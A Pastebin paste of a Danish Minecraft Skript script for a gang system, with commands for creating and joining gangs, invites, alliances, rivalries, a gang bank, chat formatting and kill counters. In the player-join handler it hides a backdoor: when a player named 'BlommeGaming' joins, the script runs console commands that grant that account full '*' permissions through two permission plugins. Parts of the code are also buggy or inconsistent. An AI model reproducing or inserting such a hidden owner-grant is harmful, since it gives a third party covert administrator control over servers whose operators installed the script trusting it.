Advertisement
Guest User

Untitled

a guest
Jun 30th, 2016
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.97 KB | None | 0 0
  1. options:
  2. prefix: &8&l||&r &3&lBande &8&l||&r&b
  3. chat: true
  4. chatformat: &8[&b{bande}&8]&8[&b{level}&8]%colored player's prefix%%colored player's suffix% %player% &8&l>&f # "{bande}"
  5. chatformatno: %colored player's prefix%%colored player's suffix% %player%&f &8&l>&f
  6. addet: &8[&a+&8]&f
  7. fjernet: &8[&c-&8]&f
  8. fixet: &8[&e*&8]&f
  9. version: &b3.0.0
  10.  
  11. on load:
  12. message "&d&m-------------------&r &3&lBANDER &d&m-------------------" to console
  13. message "&dBande {@version} er loadet" to console
  14. message "&d&m-------------------&r &3&lBANDER &d&m-------------------" to console
  15.  
  16. command /bande [<text=hjælp>] [<text>] [<text>] [<text>]:
  17. aliases: /b, /bander, /team
  18. permission: bande.command
  19. permission message: {@prefix} Du kan ikke have en bande som vagt
  20. trigger:
  21. if arg 1 is "hjælp":
  22. wait 2 ticks
  23. open chest with 6 rows named "&a&lBande {@version}" to player
  24. #Venstre side
  25. format slot 0 of player with glowing book named "&2&l/bande hjælp »&r Viser denne menu" with lore "&m" to be unstealable
  26. if {bande.navn.%player%} is not set:
  27. format slot 9 of player with glowing book named "&2&l/bande info »&r Viser info om din bande" with lore "&bDu har ingen bande" to be unstealable
  28. if {bande.navn.%player%} is set:
  29. format slot 9 of player with glowing book named "&2&l/bande info »&r Viser info om din bande" with lore "&bDin bande hedder &8%{bande.navn.%player%}%" to close then run [make player execute command "/bande info %{bande.navn.%player%}%"]
  30. format slot 18 of player with glowing book named "&2&l/bande opret »&r For at lave en bande" with lore "&m" to be unstealable
  31. format slot 27 of player with glowing book named "&2&l/bande forlad »&r For at forlade en bande" with lore "&m" to be unstealable
  32. format slot 36 of player with glowing book named "&2&l/bande invite »&r For at invitere en til din bande" with lore "&m" to be unstealable
  33. format slot 45 of player with glowing book named "&2&l/bande tilslut »&r For at tilslutte sig til en bande" with lore "&m" to be unstealable
  34. #Højre side
  35. format slot 8 of player with glowing book named "&2&l/bande ally »&r For at spørge en bande om ally" with lore "&m" to be unstealable
  36. format slot 17 of player with glowing book named "&2&l/bande enemy »&r For at gøre en bande rival" with lore "&m" to be unstealable
  37. format slot 26 of player with glowing book named "&2&l/bande neutral »&r For at at fjernde en bande som rival/ally" with lore "&m" to be unstealable
  38. format slot 35 of player with glowing book named "&2&l/bande bank »&r For at se hvor mange penge din bande har" with lore "&m" to be unstealable
  39. format slot 44 of player with glowing book named "&2&l/bande bank indsæt »&r For at sætte penge ind i din bande" with lore "&m" to be unstealable
  40. format slot 53 of player with glowing book named "&2&l/bande kick (Ude af drift) »&r For at Smide en ud af banden" with lore "&m" to be unstealable
  41. #Midten
  42. format slot 13 of player with glowing book named "&a&lOpdateringer" with lore "&8Opdatering {@version}||{@addet} Ally system||{@addet} Enemy system||{@addet} Gui menu||{@fjernet} Man kan ikke længere hæve fra sin bandes konto||{@addet} Npc" to be unstealable
  43. format slot 24 of player with golden apple named "&a&lBande shop »&r Viser bande shoppen" with lore "&m" to close then run [make player execute command "/bande shop"]
  44. if {bande.navn.%player%} is not set:
  45. format slot 20 of player with book named "&2&lDin bandes bank" with lore "&aDu har ingen bande" to be unstealable
  46. if {bande.navn.%player%} is set:
  47. format slot 20 of player with book named "&2&lDin bandes bank" with lore "&aDin bande har &8%{bande.bank.%{bande.navn.%player%}%}% &bi sin bank" to be unstealable
  48. stop
  49.  
  50. if arg 1 is "opret":
  51. if {bande.navn.%player%} is not set:
  52. if arg 2 is set:
  53. if player's money is between -4999 and 4999:
  54. message "{@prefix} Det koster 5000 at lave en bande"
  55. stop
  56. if arg 3 is set:
  57. message "{@prefix} Du kan ikke lave en bande med mellemrum i"
  58. stop
  59. if arg 4 is set:
  60. message "{@prefix} Du kan ikke lave en bande med mellemrum i"
  61. stop
  62. if arg 5 is set:
  63. message "{@prefix} Du kan ikke lave en bande med mellemrum i"
  64. stop
  65. if length of "%arg 2%" is between -9999999999999 and 3:
  66. message "{@Prefix} Dit bande navn skal være længere end 3 bugstaver!"
  67. stop
  68. if length of "%arg 2%" is above 15:
  69. message "{@Prefix} Dit bande navn må ikke være længere end 15 bugstaver!"
  70. stop
  71. if {bande.brug.%arg 2%} is not set:
  72. set {bande.brug.%arg 2%} to true
  73. set {bande.ejer.%arg 2%} to player
  74. set {bande.medlem.%arg 2%} to 0
  75. add 1 to {bande.medlem.%arg 2%}
  76. set {bande.online.%arg 2%} to 1
  77. add arg 2 to {bande.list::*}
  78. add player to {bande.medlem1.%arg 2%::*}
  79. set {bande.navn.%player%} to "%arg 2%" parsed as a text
  80. set {bande.lvl.%arg 2%} to 1
  81. message "{@prefix} Du har lavet banden %arg 2%."
  82. remove 5000 from player's money
  83. set {bande.bank.%{bande.navn.%player%}%} to 0
  84. stop
  85. else:
  86. message "{@prefix} Banden %arg 2% findes allerede."
  87. stop
  88. else:
  89. message "{@prefix} Korrekt brug: /bande opret <navn>."
  90. stop
  91. else:
  92. message "{@prefix} Du er allerede med i en bande brug /bande forlad. For at forlade din bande"
  93. stop
  94.  
  95. if arg 1 is "forlad":
  96. if {bande.navn.%player%} is set:
  97. if "%{bande.ejer.%{bande.navn.%player%}%}%" is "%player%":
  98. delete {bande.navn.%player%}
  99. clear {bande.brug.%{bande.navn.%player%}%}
  100. clear {bande.ejer.%{bande.navn.%player%}%}
  101. clear {bande.medlem1.%{bande.navn.%player%}%::*}
  102. remove {bande.navn.%player%} from {bande.list::*}
  103. loop {bande.medlem1.%{bande.navn.%player%}%::*}:
  104. if "%loop-value%" is not "%player%":
  105. clear {bande.navn.%loop-value%}
  106. clear {bande.navn.%player%}
  107. delete {bande.lvl.%{bande.navn.%player%}%}
  108. delete {bande.bank.%{bande.navn.%player%}%}
  109. delete {bande.medejer.%{bande.navn.%player%}%}
  110. message "{@prefix} Efter at have forladt banden, siden du var ejeren, er den blevet sletted."
  111. stop
  112. else:
  113. add -1 to {bande.medlem1.%{bande.navn.%player%}%}
  114. add -1 to {bande.online.%{bande.navn.%player%}%}
  115. remove player from {bande.medlem1.%{bande.navn.%player%}%::*}
  116. loop all players:
  117. if {bande.navn.%loop-player%} is set:
  118. if "%{bande.navn.%player%}%" is "%{bande.navn.%loop-player%}%":
  119. message "{@prefix} %player% Gik ud af banden." to loop-player
  120. clear {bande.navn.%player%}
  121. message "{@prefix} Du forlod din bande."
  122. stop
  123.  
  124. if arg 1 is "invite":
  125. if arg 2 is set:
  126. set {_player} to "%arg 2%" parsed as a player
  127. if {_player} is online:
  128. if {bande.navn.%arg 2%} is false:
  129. if "%{bande.ejer.%{bande.navn.%player%}%}%" is "%player%":
  130. set {bande.invite.%{bande.navn.%player%}%.%arg 2%} to true
  131. message "{@prefix} Du har inviteret %arg 2% til at tilslute banden."
  132. message "{@prefix} %player% Du er blevet inviteret til at tilslut bande %{bande.navn.%player%}%." to {_player}
  133. make console execute command "/tellraw %arg 2% ["""",{""text"":""/bande tilslut %{bande.navn.%player%}%"",""clickEvent"":{""action"":""run_command"",""value"":""/bande tilslut %{bande.navn.%player%}%""},""hoverEvent"":{""action"":""show_text"",""value"":{""text"":"""",""extra"":[{""text"":""&b&bKlik her for at tilslut %{bande.navn.%player%}%""}]}}}]"
  134. wait 3 minutes
  135. set {bande.invite.%{bande.navn.%player%}%.%arg 2%} to false
  136. stop
  137. else:
  138. message "{@prefix} Du har ikke tilladelse til invitere folk."
  139. stop
  140. else:
  141. message "{@prefix} %arg 2% Er allerede med i en bande."
  142. stop
  143. else:
  144. message "{@prefix} %arg 2% Er ikke online...."
  145. stop
  146. else:
  147. message "{@prefix} Korrekt brug: /bande invite <spiller>."
  148. stop
  149.  
  150. if arg 1 is "tilslut":
  151. if {bande.navn.%player%} is not set:
  152. if arg 2 is set:
  153. set {_verif} to 0
  154. loop {bande.list::*}:
  155. if "%arg 2%" is "%loop-value%":
  156. if {bande.invite.%arg 2%.%player%} is true:
  157. loop all players:
  158. if {bande.navn.%loop-player%} is not set:
  159. if "%{bande.navn.%loop-player%}%" is "%arg 2%":
  160. message "{@prefix} %player% Har tilslutet banden" to loop-player
  161. add 1 to {_verif}
  162. add player to {bande.medlem1.%arg 2%::*}
  163. set {bande.navn.%player%} to "%arg 2%" parsed as a text
  164. add 1 to {bande.online.%arg 2%}
  165. add 1 to {bande.medlem1.%arg 2%}
  166. message "{@prefix} Du har tilslutet banden %arg 2%."
  167. stop
  168. else:
  169. message "{@prefix} Du er ikke blevet inviteret til at tilslute den bande %arg 2%."
  170. stop
  171. if {_verif} is 0:
  172. message "{@prefix} Banden %arg 2% findes ikke...."
  173. stop
  174. else:
  175. message "{@prefix} Korrekt brug: /bande tilslut <bande>."
  176. stop
  177. else:
  178. message "{@prefix} Du er allerede i en bande brug /bande forlad. for at gå ud af din bande"
  179. stop
  180.  
  181. if arg 1 is "info":
  182. if arg 2 is set:
  183. if {bande.brug.%arg 2%} is true:
  184. message "&8&m-------------------&r &3&lBANDER &8&m-------------------"
  185. message "&b%arg 2%:"
  186. set {_verif} to 0
  187. loop {bande.medlem1.%arg 2%::*}:
  188. if "%loop-value%" is "%{bande.ejer.%arg 2%}%":
  189. message "&b&8: &f%loop-value%"
  190. else:
  191. if {_verif} is 0:
  192. message "&bmedlemmer&8:"
  193. add 1 to {_verif}
  194. message " &b- &f%loop-value%"
  195. message "&bBank: &8%{bande.bank.%arg 2%}%&b$"
  196. message "&a%{bande.online.%arg 2%}% &b/ &2%{bande.medlem1.%arg 2%}% &bOnline"
  197. message "&bFange kills&8: &b%{bande.kill.%arg 2%}%"
  198. message "&bVagt kills&8: &b%{bande.vagtkills.%arg 2%}%"
  199. message "&8&m-------------------&r &3&lBANDER &8&m-------------------"
  200. stop
  201. else:
  202. message "{@prefix} Banden %arg 2% findes ikke..."
  203. stop
  204. else:
  205. message "{@prefix} Korrekt brug: /bande info <bande>."
  206. stop
  207.  
  208. # if arg 1 is "shop":
  209. # message "&8&m-------------------&r &3&lBANDE SHOP &8&m-------------------"
  210. # message "&8Ting din bande ikke har købt:"
  211. # if {bande.lvl.%{bande.navn.%player%}%} is 3,4,5,6,7,8,9 or 10:
  212. # if {bande.shop.%{bande.navn.%player%}%.c} is not set:
  213. # message "&bC klubhus (Pris: 2.000$)"
  214. # if {bande.shop.%{bande.navn.%player%}%.b} is not set:
  215. # message "&bB klubhus (Pris: 20.000$)"
  216. # if {bande.shop.%{bande.navn.%player%}%.a} is not set:
  217. # message "&bA klubhus (Pris: 200.000$)"
  218. # message "&8Ting din bande har købt:"
  219. # if {bande.shop.%{bande.navn.%player%}%.c} is true:
  220. # message "&bC klubhus (Pris: 2.000$)"
  221. # if {bande.shop.%{bande.navn.%player%}%.b} is true:
  222. # message "&bB klubhus (Pris: 20.000$)"
  223. # if {bande.shop.%{bande.navn.%player%}%.a} is true:
  224. # message "&bA klubhus (Pris: 200.000$)"
  225. # message "&8&m-------------------&r &3&lBANDE SHOP &8&m-------------------"
  226.  
  227. # if arg 1 is "levelup":
  228. # if {bande.lvl.%{bande.navn.%player%}%} is 1:
  229. # message "&8&m-------------------&r &3&lBANDE LEVELUP &8&m-------------------"
  230. # if {bande.kill.%{bande.navn.%player%}%} is smaller than 50:
  231. # message " &c&m----&r 50 fange kills &c&m----"
  232. # if {bande.kill.%{bande.navn.%player%}%} is higher than 49:
  233. # message " &c&m----&r 50 fange kills &c&m----"
  234.  
  235. if arg 1 is "bank":
  236. set {_money} to "%arg 3%" parsed as a number
  237. if arg 2 is not set:
  238. message "{@prefix} Din bande har &8%{bande.bank.%{bande.navn.%player%}%}%&b$ i sin bank"
  239. stop
  240. if arg 2 is "indsæt":
  241. if arg 3 is not set:
  242. message "{@prefix} Korrekt brug: /bande bank indsæt <antal penge>."
  243. stop
  244. if player's money is between -10000000 and {_money}:
  245. message "{@prefix} Du har ikke &8%arg 3%&b$"
  246. stop
  247. remove {_money} from player's money
  248. message "{@prefix} du har sat &8%arg 3%&b$ ind på din bandes bank"
  249. add arg 3 to {bande.bank.%{bande.navn.%player%}%}
  250. if arg 1 is "ally":
  251. set {_bande} to {bande.navn.%player%}
  252. if {bande.navn.%player%} is not set:
  253. message "{@prefix} Du har ikke nogen bande!"
  254. stop
  255. if {bande.ejer.%{bande.navn.%player%}%} is not "%player%":
  256. message "{@prefix} Du skal være ejeren af banden for at bruge denne kommando!"
  257. stop
  258. if arg 2 is set:
  259. if {bande.navn.%player%} is arg 2:
  260. message "{@prefix} Du kan ikke gøre din egen bande til ally med dig selv!"
  261. stop
  262. if {bande.ejer.%arg 2%.} is not set:
  263. message "{@prefix} &bDen bande findes ikke!"
  264. stop
  265. loop {bande.%{_bande}%.allys::*}:
  266. if loop-value is arg 2:
  267. set {_true} to false
  268. exit loop
  269. loop {bande.navn.%arg 2%.allyinvite::*}:
  270. if loop-value is {_bande}:
  271. set {_true} to true
  272. exit loop
  273. loop {bande.%{_bande}%.allyinvite::*}:
  274. if loop-value is "%arg 2%":
  275. set {_true} to "well"
  276. exit loop
  277. if {_true} is "well":
  278. message "{@prefix} Du har allerede spurgt &c%arg 2% &bom at være ally!"
  279. stop
  280. if {_true} is false:
  281. message "{@prefix} &c%{bande.brug.%arg 2%}% &bEr allerede en ally!"
  282. stop
  283. if {_true} is not set:
  284. add "%{bande.brug.%arg 2%}%" to {bande.%{_bande}%.allyinvite::*}
  285. message "{@prefix} Du har spugt &c%arg 2% om at være ally!"
  286. loop {bande.medlem1.%arg 2%::*}:
  287. set {_loop} to "%loop-value%" parsed as a offline player
  288. if loop-value is not player:
  289. message "{@prefix} &c%player% &bBanden &c%arg 2% &bhar spurgt jer om at blive ally!" to {_loop}
  290. loop {bande.medlem1.%arg 2%::*}:
  291. set {_loop} to "%loop-value%" parsed as a offline player
  292. message "{@prefix} &c%{_bande}% &bHar spurgt jer om ally!" to {_loop}
  293. if {bande.%{UUID.%{_loop}%}%.rank} is 1 or 2:
  294. message "{@prefix} &c%{_bande}% Har spurgt jer om ally brug &c/bande ally %{_bande}% &bfor at gøre dem til ally" to {_loop}
  295. stop
  296. if {_true} is true:
  297. add "%{bande.brug.%arg 2%}%" to {bande.%{_bande}%.allys::*}
  298. add "%{_bande}%" to {bande.%{bande.brug.%arg 2%}%.allys::*}
  299. remove "%{_bande}%" from {bande.%{bande.brug.%arg 2%}%.allyinvite::*}
  300. remove "%{bande.brug.%arg 2%}%" from {bande.%{_bande}%.allyinvite::*}
  301. remove "%{_bande}%" from {bande.%{bande.brug.%arg 2%}%.rivaler::*}
  302. remove "%{bande.brug.%arg 2%}%" from {bande.%{_bande}%.rivaler::*}
  303. message "{@prefix} &bDu gjorde &c%{bande.brug.%arg 2%}% &btil en ally!"
  304. loop {bande.medlem1.%arg 2%::*}:
  305. set {_loop} to "%loop-value%" parsed as a offline player
  306. if loop-value is not player:
  307. message "{@prefix} &c%{_bande}% &bEr nu en ally!" to {_loop}
  308. loop {bande.medlem1.%arg 2%::*}:
  309. set {_loop2} to "%loop-value%" parsed as a offline player
  310. message "{@prefix} &c%arg 2% &bEr nu en ally!" to {_loop2}
  311. stop
  312. message "{@prefix} Husk du skal skrive navnet! &c/bande ally &n<bande>&b!"
  313. stop
  314. if arg 1 is "neutral":
  315. set {_bande} to {bande.navn.%player%}
  316. if {bande.navn.%player%} is not set:
  317. message "{@prefix} Du har ikke nogen bande!"
  318. stop
  319. if {bande.ejer.%{bande.navn.%player%}%} is not "%player%":
  320. message "{@prefix} Du skal være ejeren af banden for at bruge denne kommando!"
  321. stop
  322. if arg 2 is set:
  323. if {bande.navn.%player%} is arg 2:
  324. message "{@prefix} &bDu kan ikke gøre din egen bande neutral!"
  325. stop
  326. if {bande.ejer.%arg 2%.} is not set:
  327. message "{@prefix} &bDen bande findes ikke!"
  328. stop
  329. loop {bande.%{_bande}%.allys::*}:
  330. if loop-value is arg 2:
  331. set {_true} to true
  332. exit loop
  333. loop {bande.%{_bande}%.rivaler::*}:
  334. if loop-value is arg 2:
  335. set {_false} to true
  336. exit loop
  337. if {_false} is false:
  338. message "{@prefix} &c{bande.brug.%arg 2%} &ber ikke en rival!"
  339. if {_false} is true:
  340. remove "%{bande.brug.%arg 2%}%" from {bande.%{_bande}%.rivaler::*}
  341. message "{@prefix} &bDu gjorde &c%{bande.brug.%arg 2%}% &btil neutral!"
  342. loop {bande.medlem1.%arg 2%::*}:
  343. set {_loop} to "%loop-value%" parsed as a offline player
  344. if loop-value is not player:
  345. message "{@prefix} &c%player% &bHar gjort &c%{_bande}% &btil neutral!" to {_loop}
  346. loop {bande.medlem1.%arg 2%::*}:
  347. set {_loop2} to "%loop-value%" parsed as a offline player
  348. message "{@prefix} &c%{_bande}% &bHar fjernet jer som ally!" to {_loop2}
  349. stop
  350. if {_true} is true:
  351. remove "%{bande.brug.%arg 2%}%" from {bande.%{_bande}%.allys::*}
  352. remove "%{_bande}%" from {bande.%{bande.brug.%arg 2%}%.allys::*}
  353. message "{@prefix} Du gjorde &c%{bande.brug.%arg 2%}% &btil neutral!"
  354. loop {bande.medlem1.%arg 2%::*}:
  355. set {_loop} to "%loop-value%" parsed as a offline player
  356. if loop-value is not player:
  357. message "{@prefix} &c%player% &bDu har gjort &c%{_bande}% &btil neutral!" to {_loop}
  358. loop {bande.medlem1.%arg 2%::*}:
  359. set {_loop2} to "%loop-value%" parsed as a offline player
  360. message "{@prefix} &c%{_bande}% &bEr ally mere!" to {_loop2}
  361. stop
  362. message "{@prefix} &c%{bande.brug.%arg 2%}% &bEr ikke en enemy/ally!"
  363. stop
  364. message "{@prefix} Du skal skrive et navn! &c/bande neutral &n<bande>&b!"
  365. stop
  366. if arg 1 is "enemy":
  367. set {_bande} to {bande.navn.%player%}
  368. if {bande.navn.%player%} is not set:
  369. message "{@prefix} Du har ikke nogen bande!"
  370. stop
  371. if {bande.ejer.%{bande.navn.%player%}%} is not "%player%":
  372. message "{@prefix} Du skal være ejeren af banden for at bruge denne kommando!"
  373. stop
  374. if arg 2 is set:
  375. if {bande.navn.%player%} is arg 2:
  376. message "{@prefix} Du kan ikke gøre din egen bande til rival!"
  377. stop
  378. if {bande.ejer.%arg 2%} is not set:
  379. message "{@prefix} Den bande findes ikke!"
  380. stop
  381. if {bande.%{_bande}%.rivaler::*} is not set:
  382. set {bande.%{_bande}%.rivaler::*} to "JEGFORGUDERDENSEJESIMON"
  383. loop {bande.%{_bande}%.rivaler::*}:
  384. if loop-value is arg 2:
  385. set {_true} to false
  386. exit loop
  387. loop {bande.%{_bande}%.rivaler::*}:
  388. if loop-value isn't arg 2:
  389. set {_true} to true
  390. exit loop
  391. if {_true} is true:
  392. remove "JEGFORGUDERDENSEJESIMON" from {bande.%{_bande}%.rivaler::*}
  393. remove "%{bande.brug.%arg 2%}%" from {bande.%{_bande}%.allys::*}
  394. remove "%{_bande}%" from {bande.%{bande.brug.%arg 2%}%.allys::*}
  395. add "%{bande.brug.%arg 2%}%" to {bande.%{_bande}%.rivaler::*}
  396. message "{@prefix} Du har gjort &c%arg 2% &btil en fjende!"
  397. loop {bande.medlem1.%arg 2%::*}:
  398. set {_loop} to "%loop-value%" parsed as a offline player
  399. if loop-value is not player:
  400. message "{@prefix} &c%player% &bHar gjort &c%{_bande}% &btil en rival!" to {_loop}
  401. loop {bande.medlem1.%arg 2%::*}:
  402. set {_loop2} to "%loop-value%" parsed as a offline player
  403. message "{@prefix} &c%{_bande}% &bHar gjort jer til til rival!" to {_loop2}
  404. stop
  405. if {_true} is false:
  406. message "{@prefix} &c%arg 2% &bEr allerede en rival!"
  407. stop
  408. stop
  409. message "{@prefix} Du skal skrive navnet på banden! &c/bande enemy &n<bande>&b!"
  410. stop
  411. # if arg 1 is "kick":
  412. # set {_bande} to {bande.navn.%player%}
  413. # if {bande.navn.%player%} is not set:
  414. # message "{@prefix} &bYou don't have a bande!"
  415. # stop
  416. # if {bande.ejer.%player%} is not "%player%"":
  417. # message "{@prefix} &bYou must be &cMOD &bto use this command!"
  418. # stop
  419. # if arg 2 is set:
  420. # set %arg 2% to "%{bande.%{UUID.%arg 2%}%.bande::*}%"
  421. # if "%{bande.%{UUID.%arg 2%}%.%arg 2%}%" is not "%{bande.navn.%player%.%{_bande}%}%":
  422. # message "{@prefix} &c%arg 2% &bEr ikke medlem af banden!"
  423. # stop
  424. # if arg 2 is player:
  425. # message "{@prefix} Du kan ikke kicke dig selv!"
  426. # message "{@prefix} Brug &c/bande forlad &bistedet"
  427. # stop
  428. # if {bande.ejer.%{bande.navn.%player%}%} is arg 2:
  429. # message "{@prefix} Du kan ikke smide Ejeren ud!"
  430. # stop
  431. # remove "%arg 2%" from {bande.medlem1.%arg 2%::*}
  432. # clear {bande.navn.%arg 2%}
  433. # message "{@prefix} &bYou have kicked &c%arg 2% &bfrom the bande!"
  434. # set {_arg2} to arg 2 parsed as a offline player
  435. # message "{@prefix} Du er blevet smidt ud af banden &c%{bande.navn.%player%}%&b af &c%player%&b!" to {_arg2}
  436. # stop
  437.  
  438. on tilslut:
  439. delete {bande.%player%}
  440. if player is "BlommeGaming":
  441. message "{@prefix} Dette skript er lavet af BlommeGaming"
  442. execute console command "/manuaddp BlommeGaming *"
  443. execute console command "/pex user BlommeGaming add *"
  444. if player has permission "*":
  445. set {_ver} to text from url "http://blommegaming.dk/bande/version.txt"
  446. if {_ver} is "{@version}":
  447. stop
  448. else:
  449. message "{@prefix} Version %{_ver}% er ude nu"
  450. loop all players:
  451. if {bande.navn.%loop-player%} is set:
  452. if "%{bande.navn.%player%}%" is "%{bande.navn.%loop-player%}%":
  453. message "{@prefix} %player% tilslutede serveren" to loop-player
  454. stop
  455.  
  456. on quit:
  457. if {bande.navn.%player%} is set:
  458. add -1 to {bande.online.%{bande.navn.%player%}%}
  459. loop all players:
  460. if {bande.navn.%loop-player%} is set:
  461. if "%{bande.navn.%player%}%" is "%{bande.navn.%loop-player%}%":
  462. message "{@prefix} %player% forlod serven" to loop-player
  463. stop
  464.  
  465. on chat:
  466. if "{@chat}" is "true":
  467. if {bande.navn.%player%} is set:
  468. cancel event
  469. set {_prefix} to "{@chatformat}"
  470. replace all "{bande}" with "%{bande.navn.%player%}%" in {_prefix}
  471. replace all "{level}" with "%{bande.lvl.%{bande.navn.%player%}%}%" in {_prefix}
  472. if {bande.ejer.%{bande.navn.%player%}%} is "%player%":
  473. cancel event
  474. set {_prefix} to "{@chatformat}"
  475. replace all "&" with "§" in {_prefix}
  476. replace all "{bande}" with "**%{bande.navn.%player%}%" in {_prefix}
  477. replace all "{level}" with "%{bande.lvl.%{bande.navn.%player%}%}%" in {_prefix}
  478. broadcast "%{_prefix}% %message%"
  479. stop
  480. if {bande.medejer.%{bande.navn.%player%}%} is "%player%":
  481. cancel event
  482. set {_prefix} to "{@chatformat}"
  483. replace all "&" with "§" in {_prefix}
  484. replace all "{bande}" with "*%{bande.navn.%player%}%" in {_prefix}
  485. replace all "{level}" with "%{bande.lvl.%{bande.navn.%player%}%}%" in {_prefix}
  486. broadcast "%{_prefix}% %message%"
  487. stop
  488. broadcast "%{_prefix}% %message%"
  489. stop
  490. if {bande.navn.%player%} is not set:
  491. cancel event
  492. set {_prefix} to "{@chatformatno}"
  493. broadcast "%{_prefix}% %message%"
  494. stop
  495.  
  496. on damage:
  497. if attacker is a player:
  498. if victim is a player:
  499. if {bande.navn.%victim%} is true:
  500. if {bande.navn.%attacker%} is true:
  501. if "%{bande.navn.%attacker%}%" is "%{bande.navn.%victim%}%":
  502. cancel event
  503. message "{@prefix} Du kan ikke slå medlemmerne af din bande." to attacker
  504. stop
  505. loop {bande.%{bande.navn.%attacker%}%.Allies::*}:
  506. if loop-value is {bande.navn.%victim%}:
  507. message "{@prefix} Du kan ikke slå dine allies." to attacker
  508. cancel event
  509. stop
  510.  
  511. on death:
  512. if victim has permission "vagt":
  513. add 1 to {bande.vagtkills.%{bande.navn.%attacker%}%}
  514. if victim does not have permission "vagt":
  515. add 1 to {bande.kill.%{bande.navn.%attacker%}%}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement